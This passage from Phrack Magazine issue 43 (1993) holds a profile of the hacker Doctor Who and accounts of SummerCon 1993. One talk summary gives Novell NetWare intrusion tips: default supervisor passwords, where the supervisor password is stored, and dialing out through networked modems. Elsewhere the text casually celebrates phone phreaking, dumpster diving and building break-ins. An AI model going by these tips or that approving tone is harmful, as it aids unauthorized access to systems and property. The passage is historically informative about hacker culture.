Phrack Pro-Phile on Doctor Who

==Phrack Magazine==

Volume Four, Issue Forty‑Three, File 6 of 27

‑:[ Phrack Prophile ]:

This issue our prophile features a hacker who has been around forever, who's been there and done that, literally. His handle is Dr. Who. When almost everyone was still mystified by Telenet, Dr. Who was busily exploring Europe's PSN's like PSS and Datex‑P. When the Internet was in its infancy, Dr. Who was there with an account on BBN. When the world was short of NUI's, Dr. Who discovered and perfected Pad‑To‑Pad. When the world still thought COSMOS was the end‑all‑be‑all, Dr. Who was lurking on 1A's. One of the early LODers and one of the longest lasting. And to top it all off, a close personal friend. How elite can you get?

________________________________________

Personal Info:

Handle: Doctor Who (aka Skinny Puppy and Saint Cloud) Call him: Bob

Date of Birth: February 5, 1967

Age: 26

Height: 6'1"

Weight: 160 lbs

Computers owned: in chronological order: Apple ][ series, Sinclair ZX81, Commodore TRS‑80 models 4 and 16, Coco, Atari 512, Toshiba 2000sx. I am probably leaving out some.

How did you get your handle?

From the TV show, of course ‑ I had a hard time defending it from other people, so would sometimes add (413), my home area code, to identify which one I was. Skinny Puppy was from the band of course, and Saint Cloud was from the location of a system I was playing with, in France.

How did you get started?

As a kid, I was a radio & electronics junkie. In 6th grade I wanted one of those $99 "computer kits" you would see in the back of "Popular Electronics" magazine, which had a hex keypad, and seven‑segment LED display, had 1K of ram, etc...But lusted after the TRS‑80 model‑I when I used it at Radio Shack. I finally got a computer in 1981 when I was in 9th grade. I asked my parents for a Commodore, but they went all out and got an Apple ][+. I took to programming instantly, and within a few months had a reputation as the best programmer in my school.

In a 1982 "Popular Communications" magazine article, I discovered the world of loops and test tones and started playing with those. I later tried to make free phone calls by using a tape recorder as a red box but failed, looking back probably due to inadequate volume. The seeds had been planted.

I wanted all sorts of software, but I had no money, and my parents wouldn't buy very much. One computer‑club meeting, someone brought in about 15 disks of pirated software, and I had a chance to copy about 4 disks. They guy told me about pirate BBSs, and people trading software. In a few of the games I copied, there were numbers to different BBSes, and when I was at a friends house on Cape Cod in the summer of 1983, we used his 300 baud acoustic modem to call them. I remember calling Pirate's Harbor in Boston, and I think we called Pirate‑80.

I wanted a modem badly, but they were too expensive. I convinced a friend to split the cost with me, and on January 2, 1984 my networker modem arrived. That month, in the process of getting warez I ran up over $150 in phone bills as there were no local boards. I was becoming obsessed with being on the modem, and on the computer in general. I was never a good student, and my parents and teachers found a way, they thought, to entice me to do my homework ‑ hold computer usage over my head. But this just succeeded in making me sneak access when no one was looking ‑ during lunch at school, or when my parents went shopping at home. Soon they locked the computer room (the den, really) when they left, but I used a ladder to get in to the second story window until I had a copy of the key. To this day I think if they let me indulge myself in my interest, I would have become a much more normal computer geek, and done better in school. Anyhow, I started learning about codez to appease the huge phone bills, and started to learn more about phones & how they worked. The pirating fell by the wayside as I became more involved with phreak/hack boards. I was fascinated by communications (I always had been) and phreaking/hacking opened up new frontiers. My inhibitions in breaking the law melted away because it interfered with my enjoyment of knowledge ‑ had there been opportunities to pursue this avocation without breaking the law, I probably would have done so.

A hacker was born.

What are your interests?

Women: Tall, thin, brainy, blue eyes. It seems as though I attract all the psychos. Right now, I am FREE of any relationships and haven't decided whether I am enjoying it or not.

Cars: Cars are the greatest things. I love them. Art, Machine & House ‑ The only possession I have that encloses me. I got my license later than most people, and have learned to enjoy the freedom wheels bring, especially for someone who lives in a rural area. Right now, I own two cars, one running (barely) and entirely generic, the other one very unique, beautiful, and broken. The story of my life! Food: I hate fish & chicken, love hot food. Not a vegetarian in the least. But don't eat much, I am too busy. I survive on Coffee.

Music: I have been 'alternative' for a while now, kind of Gothic, sometimes I dress that way, sometimes I don't. Favorite bands: Joy Division, Skinny Puppy, old Cure, but I have been starting to like Techno more and also Classical. Go figure.

Favorite authors: Ayn Rand, Ann Rice, Robert Anton Wilson, George Orwell, Douglas Adams, J.G. Ballard

Favorite Book: Atlas Shrugged

Favorite Movies: Brazil, 1984, The Holy Grail, Heathers, Blade Runner, Max Headroom, Slacker, Subway, Drowning by Numbers, Dune Favorite TV: Doctor Who (of course), The Avengers, Miami Vice, Hawaii Five‑O

What am I?

A slacker, a hacker, a writer, a romantic, a twenty‑nothing, a lost poet, a New Englander, an American in the truest sense of the word, a girl‑chaser, a connoisseur of cheap champagne & expensive beer, a dilettante, a smoker of cloves, caffeine addict, an atheist, a discordian, a libertarian of sorts, a cynic, a procrastinator, a conversationalist, a fast driver, an oldest child, a criminal, a watcher of fire & water, a lover of love, a believer in the unpure, a trekkie, a whovian, an anglophile, still an undergraduate, jealous, mischievous, a perfectionist, a believer in the essential good in mankind, and probably a mortal.

What are some of your most memorable experiences?

The worst day of my life ‑ 3/11/86 ‑ getting busted, and not knowing what for. My parents called up my high‑school and left a message for me to call home immediately. When I did, they informed me that the Secret Service and TRW (Hi Mr. Braum) had been in our house and removed everything. A nosy neighbor saw the whole incident, and within days our entire town knew about the raid.

Some three and a half years later they pressed charges. So much for due process and right to a speedy trial.

Good days:

5‑91 ‑ Being all fucked up in NYC with my girlfriend and Bill from RNOC; 10/9/84 ‑ My first TAP meeting. Expecting to meet Mark Tabas but meeting his father instead. Tabas had run away from home, and his parents found some notes indicating that he might turn up in New York at Eddie's for the TAP meeting. Tabas' dad hopped on a plane to NYC, rented a car and staked out the meeting. Everyone inside, already convinced that they were under surveillance, became very aware that they were being watched by some guy in a suit and a rental car. Eventually, he came inside and asked if anyone knew where Tabas was. We said "Who wants to know?" To which he gave out his business card letting us know he was Tabas' dad and just worried. Tabas was not even in New York.

The whole summer of 1985 ‑ staying at home, hacking and loving being a computer geek. Four days straight on an Alliance Teleconference once, being woken up each morning by blasts of touch‑tone!

Philadelphia Cons, back in 86.

West 57th St. ‑ a few seconds towards my 15 minutes of fame.

KP+914‑042‑1050+ST

Discovering Pad‑to‑Pad.

McD: Becoming an XRAY Technician. (Dr. Bubbnet)

MSK ../tdas

NET‑LINE‑20245614140000.

Wallpapering my room with Sprint Foncard printouts

Most of the rest of my most memorable experiences are in my love life, which is none of your business!

Some People (and/or BBSes) To Mention:

My favorite BBS of all time was Farmers of Doom. Also memorable were The Legion of Doom, Osuny, WOPR, Black Ice, and lots more. My favorite boards were the ones where there was a lot of activity, and a lot of trust between the users. While a board that doesn't crash all the time is important, an expensive computer does not a good board create.

There are a lot of people who I would like to mention that have helped me greatly and who I have known for a very long time:

Lex Luthor ‑ Just because you're paranoid doesn't mean people AREN'T out get you.

Mark Tabas ‑ He really does look like Tom Petty.

Bill from RNOC ‑ Should sell used cars.

RC Modeler ‑ I hold you wholly responsible for the Clashmaster incident :)

Tuc ‑ Well, he's just Tuc. What else can you say?

X‑Man ‑ Is he an FBI agent yet?

Karl Marx ‑ Only person I know with his own dictionary entry. Next: the social register.

Mr. Bigchip ‑ Who is that? (I'm sure you are all asking)

The Videosmith ‑ (see entry for Luthor, L.)

Parmaster ‑ Should have followed Lex's advice.

Kerrang Kahn ‑ His accent is finally gone.

Terminal Man ‑ So long and thanks for all the codes. (This man knew The Condor?)

The Marauder ‑ Has taken up permanent residence on IRC.

Shatter, Pad, Gandalf ‑ PSS Junkies. What those guys wouldn't do for an NUI.

New York ‑ Don't Mess With Texas

Everyone Else ‑ Sorry I couldn't think of anything clever to say.

One I would like single out is Erik Bloodaxe, who I have known over the phone for 9 years now, but will meet for the first time at this year's Summercon, if I get there. [Ed: He didn't make it]

Also: for you hackers that have disappeared from my life, you who had my number, my parents' number has never changed, you can contact me through them if you like, I would love to hear from you.

How do you see the future of the Underground?

It's not going to go away. There will always be new challenges. There are always new toys for curious minds. There may be a split into several different, only partially interlocking 'undergrounds' involving different types of technological playing. In spite of Caller‑ID and advanced security functions of the new digital switches, there will still be many ways to phreak around the phone system: taking advantage of the old Crossbars in remote areas, and by finding some of the 'pheatures' in new switches.

Hacking on the Internet will always be around despite who controls the net, though I am sure there would be a lot more destructive hacking if the mega‑corporations take it over. Security of systems is more a social problem than a technological one, there is always a segment of the population that is gullible, stupid, or corrupt. There will always be some smartass out there making trouble for the Organization. Constantly evolving systems and brand new systems will present security holes forever, though they may be harder to understand as the systems grow more complex. With more computers networked there will be a lot more to play with.

Socially, I am worried about the huge wars that have developed, LOD v. MOD, etc. While hackers have always been contentious, as well they should be, the ferocity of attacks has me somewhat stunned. I will leave out blames and suggestions here, but I will just make the observation that as any community grows large in size, the intimacy that it enjoys will be diminished.

When the underground was small, isolated, and revered as black magicians by outsiders, it was as though we were all part of some guild. Now that there are many more people who have knowledge of, and access to, the hacker community, there is little cohesiveness. I see this getting worse. The solution may be tighter knit groups. But an outbreak of wars between mega‑gangs could be a real catastrophe.

The cyberpunk aesthetic seems to have captivated the underground. Some people have to be aware that the community was here before William Gibson was patron saint, and that most of us still can't successfully "rustle credit" ‑ which means this is a hobby, not a profession. Will this change? Slowly, I imagine. The trendies will get tired and find something else to pretend to be, (maybe dinosaurs, given the current popularity of Jurassic Park), and only the hard‑core hackers will be left. Some of us may, in time, turn into computer criminals, to which I am indifferent, as it won't be me. The current cyber‑hysteria has attracted a whole bunch of trendy fakes, and is distracting us from what originally brought us, most of us anyway, to hacking/phreaking in the first place ‑ the insatiable curiosity, the dance of the mind unbounded.

Will the hype die? Time will tell. Sometimes I get so sick of the crap I see on IRC that I wish someone would give me back an apple IIe and an applecat 212, and set me back down in 1984. Just call me over the hill.

Any end comments?

Hacking is the art of esoteric quests, of priceless and worthless secrets. Odd bits of raw data from smashed machinery of intelligence and slavery reassembled in a mosaic both hilarious in its absurdity and frightening in its power.

Conference News Part I

==Phrack Magazine==

Volume Four, Issue Forty‑Three, File 7 of 27

CONFERENCE NEWS

PART I

****************************************

The Missouri Programmers' Convention Transcripts

Compiled by Synapse 403

For those of you who were at the con, or moreover were at the con and can remember it (Sir Lance?), these transcripts are for you. They are not absolute in their accuracy and are most likely full of holes, however please keep in mind they are the transcribed product of a hacker who is suffering from a hangover of heroic proportions, and is typing to keep his mind off the mutiny happening in his stomach.

Please note that within the transcripts you will find parts of the speaker's words paraphrased, this is not intended to misrepresent them, this is simply an easy way to cut to the chase and get this job done. Another note to make is that with in this transcript, several people have been labeled unknown, this is either due to I could not see their face while they were speaking or they wished to remain anonymous. These folks will be labeled "unknown" keep in mind that this is for the above reasons and not any slight, or K‑RaD At|T|_|D3.

SummerCon

Introductions on camera were the essential beginning of the meeting, with Drunkfux wandering counter clockwise through the room, pointing the camera (that he was clinically joined with), in your face and asking your name and to say a bit about yourself.

Surprisingly enough there was little adverse reaction to this aside from a few quiet jokes in relation to people wondering how much $ Drunkfux would be getting from SRI for the tape <G>

Stuart Hauser from SRI, Stanford Research Inst. was the first speaker of the day, he was (or is) a older looking man who looked relaxed and confident. He was here to tell us about SRI and their goals (or he was here to milk the crowd for info, depends who you talk to I suppose).

SRI is an international corporation, employing over 3000 people, that claims no ties to the Feds, NSA , CIA or any other government arm interested in harming, persecuting or even prosecuting the hacker community.

Their main concern is major network security, on a corporate level. However there was talk of SRI having contract work for military related arms producers this was not brought up at the conference.

He started by talking about himself and SRI, he mentioned their policy and their feelings towards dealing with the hacker community on a productive level. He went on to confirm, that someone we all know or know of that works for the same company is an asshole, and we are not the only community to realize this. I will leave his name out for reasons of privacy, however a good hint for those who were not at scon and are reading this his first name starts with DON.

After allowing us all to laugh this over he went to tell us of the finding of his teams research form SRI. His team consisted of himself, Doug Web, and Mudhead, they were tasked to compile a report on the computer underground in some nebulous fashion, he was of course (at least to me and everyone I was sitting with) not very clear with this. To the best of our knowledge the report was like a damage potential report, ie: How much can the hackers really do, and HOW much will the hackers do?

Stu conceded that the networks and companies had more to fear from corporate espionage at the hands of employees and mismanagement then they did from hackers. However he fears a new breed of hackers he says are becoming a reality on the nets, the hacker for cash, digital criminals. He felt that this new breed of hacker will be counterproductive for the both the PD world and the underground on the basis that if they destroy it for the corps, we cannot use it either.

In the way of security Stuart felt the Social engineering was the biggest weakness of any system, and the most difficult to defend against. Also he felt too much info about machines and security of them was public info, also public info was available for use in social engineering. He felt that the only way to combat this is to make the employees and owners of companies more aware of these threats. Beyond the social engineering he feels that physical measure are too weak at most facilities and do not protect there hardcopy data well enough he meant this both for Trashing and actual b&e situations again he felt the situation was to spread awareness.

While conducting the interviews to for this report Stuart formed his own opinion of the hacker which he shared with us. He feels that hackers for the most part are not malicious at all, and are actually decent members of cyberspace. Moreover he feels that hackers should be put to work as opposed to put to jail. Something we all feel strongly about. Stuart finished his speech with brief allusions to scholarships and upcoming programs, at this point he left the floor open to questions. The are as follows:

Emmanuel Goldstien: "Earlier you (Stuart) mentioned the existence of 'malicious hackers', where are they?"

Stu: "Holland, Scandinavia, the UK poses a great threat, Israel, Australia. The bloc countries for virii and piracy are very busy right now, We have to wonder what will happen when they get full access to our nets. What happens when the eastern bloc catches up?"

Unknown: "Who finances this".

Stuart: "Really that's none of your business" (paraphrased <G>)

Unknown: "Where is the evidence of these so called malicious hackers, I think the whole malicious hacker idea is spawned by the media to justify the persecution of hackers".

Stuart: [Has no chance to reply]

Control‑C: (interjects) "Punk kids are all over the place doing it man."

KL: "its common knowledge that it is happening there."

Stu: (offers example) Was told that at three companies have tried to hire tiger teams, for corporate breaches however he has no proof of this. Yet he feels the sources were reliable.

Unknown: "I have heard rumors that SRI is writing software to catch hackers. is this true?"

Stu: Says he hasn't heard about this. However if they are more interested in what SRI is doing he will be sticking around until this afternoon or evening. And has about 15 copies of the report that are available to the public.

Next speaker

[I was out of the room for this speaker and asked Black Kat to type this in, so your guess is as good as mine.]

Someone showed a DES encryption laptop, 8 months old, with a built in chip to encrypt everything in and out (modem, disk, etc). Didn't have an overhead projector but was giving personal demos. Made by BCC (Beaver Computing Company) out of California. Doesn't advertise, but will give sales brochures etc, if you call the 800 number. Thinks the govt is discouraging wide scale distribution.

Count Zero & RDT

Count Zero announced he would be talking on a unique telco feature they found and about packet radio. Stickers and

board adds from RDT and cDc were handed out at this time.

White Knight and Count0 started by introducing a bizarre

telco feature they came across, and played a tape recording to demonstrate some of its features to the crowd. After some chatter with the rest of the con, nothing definite was concluded, however, some good ideas are brought out. (As well as some insight by folks who have discovered similar systems.)

Next came some comic relief from Count0 and White Knight in the way of the termination papers of an employee from a telco, the employees case report was read to the crowd and essentially painted the picture of a really disgruntled and ornery operator. Specifics were read, and people laughed at the shit this guy had gotten away with, end of story.

Following this Count0 spoke for Brian Oblivion who could not be there about an American Database/social program called America 2000. Brian came across this information by the way of a group in Penn state, the program is meant to monitor the attitudes of students, and how they behave with within state standards..

Furthermore the Database is compiled without the knowledge or permission of parents, beyond this the file can stay with a man or woman for life, in the hands of the state.

Count0 on Packet Radio Self‑empowering Technology

Next came the actual Packet radio discussion, Count0 displayed his hardware and talked at great length on a whole spectrum of issues related to the radio packet switching, and some points while straying, even the morality of the FCC. This went on for quite some time. Count0 instructed the crowd on the principle behind packet switch radio as well as explaining which licenses to get and to apply.

Drunkfux, Merchandising

Drunkfux

Drunkfux started by, Merchandising a shitload of ho‑ho con shirts, 15$ a piece as well as mthreat his tonloc shirts, also selling the mods for the Mistubishi 800, mthreat also had a chip preprogrammed for the Mits 800 avail. Those who could not get the mod were told to get it from cypher.com in /pub/vind. He told us of the new Metal Land revival and said a bit about it.

Next and most interesting was the discussion of the fate of Louis Cypher, and his companions in the recent bust. It seems Cypher and ALLEGED accomplices Doc and JP have been charged with numerous felonies not which the least of is Treasury Fraud and b&e of a federal post office. Drunkfux went into detail on how they had been turned on, and essentially entraped into the situation. Also how the media as per usual had made a witch hunt out of it by connecting Doc to the a remote relation to the Kennedys etc, etc.

Eric Neilson with CPSR

Eric Nielson started by telling the crowd what had drawn him to the CPSR, by the way of reading a discussion in congress about a congressman defending the strength of a Starwars network by stating that the gov had an excellent example for security: the phone networks in the USA. Needless to say Eric had little faith in this analogy <G>.

He went on to describe what the CPSR covers and what they have done recently in the of the clipper debate, Sundevil and other 1st Amend. issues. He discussed the internal workings of CPSR and its funding police as well as telling Conf Members how to go about joining.

Erik Bloodaxe

Erik started out with explaining why Phrack 43 is not yet out. This is due to the fact that Stormking.com will not allow it to be mailed from it, seeing as the owner does telco consulting and feels it would be a conflict of interest. Furthermore he won't give the listserve to the Phrack Staff, making it somewhat difficult to distribute. However KL is acting as a mediator and hopefully this will be settled soon. Mindvox was considered but rejected as a choice, for fear of people getting a hold of the list..

On the issue of Phrack and the copyright, Erik had only ONE fed register out of all those who collect it. However Phrack has obtained logs of both CERT forwarding Phrack by mail, as well as Tymnet obtaining the mag.

Beyond this Agent Steel was discussed in an "I told you so fashion" it turns out that him being accused of being a narc in the past were valid, seeing it was proved by way of documentation that Agent ratted out Kevin Poulsen (Dark Dante) resulting in his current 19 charges.

And of Course the new LOD issue was broached, however very little was discussed on it and it was simply agreed to a large degree that Cameron (lord Havoc) must have been seriously abused as a child to display the type of obvious brain damage he is afflicted with now.

Emmanuel Goldstein 2600

Emmanuel Goldstein in his purple Bellcore shirt discussed with us his appearance before a Congressional hearing on a panel with Don Delaney and how the hostility shown towards him by the house representatives in session. Beyond this he went on to describe several nasty letter letters sent to him by telcos for PUBLIC info he had posted in the winter issue of 2600. This is a very brief summary of what he had to say, mainly due to the fact that I was too busy listening to him to concentrate my apologies go to those who were interested in reading the whole thing.

Next up was a lengthy discussion on Novel Software and its weaknesses, By Erreth Akbe however the speaker he wished me to leave this out of the transcripts so I will respect his wishes in this.

********End Of Transcript***********

I would like to thank the following for making the Con an experience for me that I will not soon forget:

Arist0tle, Black Kat, Butler, Control‑C, Erreth Akbe, Tommydcat, the Public and theNot. Thx guys.

Please send all responses to Besaville@acdm.sait.ab.ca

****************************************

Presenting :::

SummerCon 1993 in Review !!!

Hacking Tales and Exploits by the SotMESC

Additional Activities by the GCMS MechWarriors

‑()‑()‑()‑()‑()‑()‑()‑()‑()‑()‑()‑()‑()‑

The weather was right, too right. Something was foul in the air. It was akin to that mythical 'Calm before the Storm' scenario that is dreaded by so many. But, Scribbles and I boarded the Techno‑Laden SotMESC compact and took off down the Highway to our ultimate goal . . . Hacker Heaven in Summertime Fun ‑ SummerCon !!!

Instantly, weather was seen brewing in the Caribbean. Hints of Hurricanes echoed through the towns we drifted through. To alleviate any anxieties, massive quantities of Jolt! were obtained in the infamous town of Hatties‑Gulch, a small town taken over by the virulent filth called College Students.

The trip continued, over hill and over dale. Dale was quite considerate not to press charges. Colleges were passed in a blink of the eye. Nothing was going to stop us. We were on a mission from the Church. But, that's another story.

After locating that famous arch, a beeline was made at speeds over 100 MPH through St. Louis until our destination came into view: The St. Louis Executive International (800‑325‑4850). We came to meet our nemesis and friends at the fest hosted by the Missouri Programming Institute. Brakes were quickly applied

as the car appeared to be going off the off‑ramp and into the ditch.

From the lobby it was obvious, there were unusual people here. These were the kind of people that you fear your daughters would never meet. The kind of people that kicked themselves into caffeine frenzies and would become infatuated with virtual lands. Yes, these were my kind of people.

Now, the adventure may start . . .

Oh, and in response to A‑Gal on pg 30 of 2600, Scribbles says she's the sexiest hacker on the nets. Hmmmmm, I'm inclined to agree with that. I'm sure Control‑C will agree too, especially after he trailed her for half of SCon.

Now, we all know that Friday is the warm‑up day on what we can expect to see at SCon during the main Saturday drag. It was no surprise to find the main junction box rewired, pay‑phones providing free services, rooms rerouted and computers running rampant down the hallways. But, the traditional trashing of Control‑C's room this early signaled that more would be needed to top the night. The maid was definitely not pleased.

For a list of those that attended, maybe KL can provide us with that information. There were too many faces for my fingers to lap into. And, there were quite a few new faces. I believe that Weevil was the youngest hacker at 16, and Emmanuel was the oldest, although he didn't give his age.

‑()‑()‑()‑()‑()‑()‑()‑()‑()‑()‑()‑(

THE CONFERENCE

‑()‑()‑()‑()‑()‑()‑()‑()‑()‑()‑()‑(

Let's get to the meat of the matter. The conference had

a nice spacious central area with tables neatly lining alongside the wall. Between the tables and the walls were many hacks packed as tightly as they could get. Why didn't we think of moving the tables closer together ???

KL took control and ran the conference smoothly. dFx panned everyone on his digital camcorder. Several cameras were around to provide us with gifs later. And the conference took off . . .

First up was Stuart from SRI (Stanford Research Institute). He elaborated on SRI's being involved in research, engineering and design. From studies done around the world with hackers and those associated, malicious hacking can not be stopped. There is no evidence, though, that the current hackers are interested in bringing the networks down at all. Concern was given to new hackers that may be emerging with financial gain and maliciousness occurring. The top security hole with system was noted as

being the infamous social engineering technique. SRI did note that many places did not utilize the security that they even had in place. It was also noted that laws against malicious hackers, and probably any hacker, should be fair and just. The most malicious hacks that are turning up have been spotted in the following named countries: Holland, Scandinavia countries,

very possibly soon in the UK, Australia, Israel, the former USSR, and Bulgaria ( noted for virii writers ).

A voice made mention of Operation Rahab, hackers in German Intelligence.

Next up was Count Zero from cDc/RDT to talk about packet radio. His talk included information about the IESS and handed out a flyer on America 2000 ( school under 1984 regimes ).

Maybe someone will provide us with a copy of this. A packet radio modem at 1200 can be obtained easily for $50. TCP/IP packets are already being send over the bandwidth along with other network protocols. The usefulness of all this is that

the information is broadcast and it is virgin territory. The baud limitation is due only based upon the bandwidth you are operating at and the number of collisions occurring. On a

band you can see every packet that is being transmitted if

you wish. All this is located on a 2 meter band. Currently

the FCC forbids encryptions on the airwaves, although this is noted as being virtually impossible to enforce. It also takes 5 months to get an amateur radio license, and your personal info is recorded in a book easily obtained at libraries. The problem with going around the FCC is that there exist vigilante HAMs that monitor the bands and have nothing better to do than filter

info and whine to the FCC. Bandwidths are decreasing though. This is due to an increased interest overall by communications in these areas. Unless you do something major the FCC will

not give you much interest. The book on preparing yourself for a Tech Class can be obtained from Radio Shack for $9.

Next up was dFx. He was promoting the HCon and Tone‑Loc t‑shirts that were for sale. Merchandising was getting pretty high. He also gave out a few Mitsubishi 800 disks. He was

also recognized as the ONLY and LAST member of the Neon Knights, a club that had a wide range of comedy names generated. The word was put out the HCon '93 will be in December 17‑19 with

a hint that it could also wind up being in Austin. Then the conversation turned to Lord Byron's bust, which we should here more information on any day this week. The conversation reiterated the government narc that was at the AA meeting

that was pressuring Byron. Byron was also noted as having rejected a plea bargain the courts offered him. And lastly,

it is going to happen soon so get them while you can. The

FTP site at eff.org will be dropping its CuD directory due

to a conflict of interest with EFFs major contributors, mainly the RBOCs and other interest groups that don't like us.

Erik Bloodaxe took the table next to talk about what

was happening with his involvement with Phrack and some interesting info about Agent Steel. As for Phrack, the

Email list is being with‑held by Tuc. The mailing list

has been refused at Mindvox due to files missing mysteriously

at that site. And, no organization registered for Phrack #42 since it was copyrighted with a nice and lengthy preamble, except for one company from Mitre. Currently Phrack #43 is

in limbo and is estimated at 1 Meg long. Going onto the

info about Agent Steel, basically he's a narc. Lord Havok from Canada is trying to restart the LOD under some unknown

logical rationale that since LOD is defunct, anyone can

reclaim the name. Lord Havoc, aka Cameron, has been going around trying to get documentation to put together an LOD technical journal #5. Supposedly there is a skin‑head group

in Canada that in now tracking Cameron down.

Someone came up next [Minor Threat] and gave us an update on Codec. Two weeks after the last SCon, Codec was pulled over while on the run from the law for speeding and then arrested for burglary, resisting arrest, etc . . . He is estimated to

be out of jail in 1995 and still has time to serve in a few other states. Mail can be sent to him at this address: codec@cypher.com. Maybe Crunch can give Codec some hints on

how to get by in prison?

From the CPSR, Eric Nielson took the table. He elaborated on the CPSR and ran a Q&A period. Basically, the CPSR files many FOIA requests and sues the government. Their focus is on the workplace computing. Elaboration was given on the Clipper Chip and computer ship security. The CPSR is staffed with lawyers and takes their funding from dues and grants. They are not sponsored by any corporations.

From the far side of the table came the infamous Emmanuel Goldstein from 2600. He stated how he had testified at congress and gave them a live demonstration of bandwidth scanning and redboxing. While he was there, the inquisition started against him on the issue of 2600. Emmanuel then tried to explain the culture to our representative that it is bad to classify all hackers as criminals. Goldstein then went on to talk about the DC 2600 bust and how it has resulted in 2600 meetings springing up all across the country. A review of several films on software piracy at the office, disaster recovery and viruses from Commonwealth Films was given. And, to highlight everything, 2600 has purchased an AT&T van that they plan to take to assorted conventions and start a fleet of these up.

Pst, BTW, on pg 43 of 2600 the intersection should be a jump =:)

Last up was Erreth Akby, a Certified Netware Engineer. He explained that the only upgrade in Novell 4.0 is the disk compression. He also informed us that the supervisor and guest accounts generally have default passwords. TO hack into this Net, you should use a PC with full alt and functions keys. The supervisor p/w is on the RConsole in a file called autoexec.mcf on version 3.11. Netcrack will not work on a system with Intruder Lock‑Out. Non‑dedicated netware must boot from a floppy. Best of all, you can dial out by using cubix‑quarts, which are PC with modems on the system.

Below is a quick reprint of a paper that was recovered

from Control‑C's trashed room.

Mrs Jasnagan,

I would like to set up a meeting

to discuss Kevin's progress in Social

Studies and English. Please let

me know when it would be

convenient.

Thank you

( Scribble , scribble )

Dear Mr + Mrs Gormby,

We would be happy

to meet with you at

9:30 on Thursday, April

1st in Room 104

Sincerely, M.Jarnagin

&

S.Dietrich

Now, could this be Kevin Poulson ??? Naaa, no way.

Amazing what technical data trashing will uncover. I guess

I should throw this away now . . .

After the convention, there was much rejoicing. The reasons would become fairly obvious as a 'swingers party' sign was soon located outside one of the hotel wings. Yes, it would be a very good convention.

Several people made their way to the vehicles for a long night of trashing and raiding of the various FedEx, UPS and other assorted boxes around town. Other groups made their

way to computers that were trying to connect with anything

they could out in town. There were also those that reluctantly went to the mall to take advantage of the local population.

What did not happen ??? Control‑C did not get laid, but

it was rumored that there were a few 12‑year olds wandering around the hotel looking for this legendary hacker. No deaths had occured, the fires were kept to a minimum and nothing major was noted as being broken.

One thing was for sure, there were a lot of alcoholic beverages going around, walkie‑talkies, scanners, and wild tales. Several area buildings were broken into, but nothing major was done.

Then the shit hit the fan. It seems several hackers had riled the swingers into a frenzy. I guess the swingers couldn't swing with it. What happened ??? Phones went ringing room to room and radios blared to life that the cops were here !!! At count, there were 6 cops, 1 sheriff and 4 hotel employees that started patrolling the hallways. Yes, we were under room arrest at our own convention in our own wing. Anyone that left there room was told to stay there or they would be arrested. The cops were very insistent that no pictures were to be taken. The swingers had broken our balls.

But, this would not stop us. Soon, there was a phone network going on with radio interfaces. The windows opened and a few migrated to other locations of the hotel. After a while, the authorities left feeling satisfied that they had intimidated us. They didn't.

After they left, the hallways erupted again. In the SotMESC room a gathering turned out to watch several techno‑infested videos. At the cDc room were others viewing the HoHoCon '92 film that dFx brought down with him. At one point, the microwave around the lobby was detonated and a mysterious stack of Credit Card carbons was found. The liberated phones were being utilized to their full international extent, and several of the soda machines decided to give out a few free drinks.

But, we couldn't leave well enough alone. Sir Lance went to the lobby and took a picture of the hotel Asst. Manager.

I guess this guy didn't like his photo being taken, since he turned around and called the cops on Sir Lance. Down the hallway the cops came, dragging Sir Lance back with them. In the end, the cops explained to the Asst. Manager that it was not a crime in the US to take pictures of people.

In another related story, Kaos Wizard wound up calling the SotMESC room with a wild plea for help. It seemed he was with

a large group of trashers that included Albatross, Intrepid, Forced Entry, Zippy, The Public and more. Kaos was at a Central Office close to the hotel on Woodson and needed help. He had taken off to take a piss and noticed that the trashers were surrounded by cops when he returned. There was no way he was going back with all those cops there ( and, might I mention, there was also a police dog ). Mystic Moos gathered up a few people and went to rescue Kaos Wizard as the rest of the trashers returned to the hotel. It seems they had eluded the cops by telling them that they were waiting for their friend to return from taking

a bathroom break ( Kaos Wizard ). Unfortunately, he never returned. The cops let them go eventually. Mystic Moos rescued Kaos Wizard, and the hotel was aglow in activity again.

Control‑C came down the hall at one point to make a startling discovery. It seems that at a local club there was a band playing that featured 'Lex Luthor'. The elusive X‑LOD founder had been located. AFter some thought, it was decided he could stay there and sing the blues while the rest of us partied the night away.

For those interested, the hotel fax is 314‑731‑3752.

One of the police officers detaining us was S.M. Gibbons.

IBM will send a 36 page fax to the number you give them.

To activate, call 1‑800‑IBM‑4FAX. As you can imagine, it wasn't long before the hotels fax ran out of thermal paper.

Below is a gathering of Flyers . . .

HoHoCon '92 Product Ordering Information

If you are interested in obtaining either HoHoCon shirts or videos, please contact us at any of the following:

drunkfux@cypher.com

hohocon@cypher.com

cDc@cypher.com

dfx@nuchat.sccsu.com

359@7354 (WWIV Net)

HoHoCon

1310 Tulane, Box #2

Houston, Tx

77008‑4106

713‑468‑5802 (data)

The shirts are $15 plus $3 shipping ($4 for two shirts). At this time, they only come in extra large. We may add additional sizes if there is a demand for them. The front of the shirt has the following in a white strip across the chest:

I LOVE FEDS

( Where LOVE = a red heart, very similar to the I LOVE NY logo )

And this on the back:

dFx & cDc Present

HoHoCon '92

December 18‑20

Allen Park Inn

Houston, Texas

There is another version of the shirt available with the following:

I LOVE WAREZ

The video includes footage from all three days, is six hours long and costs $18 plus $3 shipping ($4 if purchasing another item also). Please note that if you are purchasing multiple items, you only need to pay one shipping charge of $4, not a charge for each item. If you wish to send an order in now, make all checks or money orders payable to O.I.S., include your phone number and mail it to the street address listed above. Allow a few weeks for arrival.

Thanks to everyone who attended and supported HoHoCon '92. Mail us if you wish to be an early addition to the HoHoCon '93 (December 17‑19) mailing list.

Calvary Black Crawling Systems 617‑267‑2732 617‑482‑6356

ATDT EAST

617‑350‑STIF

DemOnseed sez: "Call ATDT East or I'll crush your skull"

Home of ‑= RDT...

Trailings to follow . . . Slug, slug, slugfest . . .

Join the ranks of the Cons: HoHoCon, MardiCon, SummerCon !!!

****************************************

Top 25 Things I Learned at SummerCon '93

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

By Darkangel

SummerCon is a place where many hackers from all over the world meet to discuss the current state of hacking today, and to drink themselves under the table. Every year, pages and pages of useful information is passed and traded among the participants. In this brief summery, I will attempt to point out the things that I learned and I thought were the most helpful to the whole hacker community. I hope you enjoy it.

#1) DON'T let Control‑C within 15 feet of any person that does not have a penis.

#2) Knight Lightning will have a stroke before the age of 30.

#3) French Canadians ALWAYS sound drunk.

#4) Loops do not make good pickup lines.

#5) The Zenith is outside the window. Just look up.

#6) Smoking certain herbs is still illegal in St. Louis.

#7) If you see a taxi and think it might be a cop, it probably is.

